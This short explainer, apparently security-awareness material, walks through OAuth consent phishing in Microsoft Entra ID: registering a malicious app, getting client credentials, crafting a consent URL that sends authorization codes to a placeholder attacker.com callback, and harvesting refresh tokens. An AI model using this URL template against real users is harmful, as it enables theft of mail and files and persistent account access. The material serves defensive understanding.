OAuth Redirect URI Abuse Flow

🛠️ How Attackers Make the App

Registering the app

In Azure AD (Microsoft Entra ID), anyone with a Microsoft account can go into App registrations and click New application. They provide:

• A name: (e.g., “Secure PDF Viewer”).

• A Redirect URI: The location where the tokens will be sent after login.

• The permissions/scopes: The access they want (e.g., Mail.Read, Files.Read.All, offline_access).

That’s all it takes. No special approval is required unless the app requests very privileged scopes.

Getting Client ID + Secret

• The portal generates a Client ID (acting as an app username).

• The attacker generates a Client Secret (acting as an app password).

These credentials are sufficient to interact with Microsoft’s OAuth endpoints.

Building the Consent URL

The attacker crafts a specific URL to Microsoft’s login service to initiate the phishing attempt:

https://login.microsoftonline.com/common/oauth2/v2.0/authorize
   ?client_id=APP_ID
   &response_type=code
   &redirect_uri=https://attacker.com/callback
   &scope=Mail.Read Files.Read.All offline_access
   &prompt=consent

When the victim clicks this link, they are presented with a legitimate Microsoft login and consent screen, which increases the likelihood of a successful attack.

Harvesting Tokens

After the victim provides consent, Microsoft’s system sends an authorization code or refresh token to the specified Redirect URI controlled by the attacker. This allows the attacker to maintain persistent access to the victim's data without needing their password again.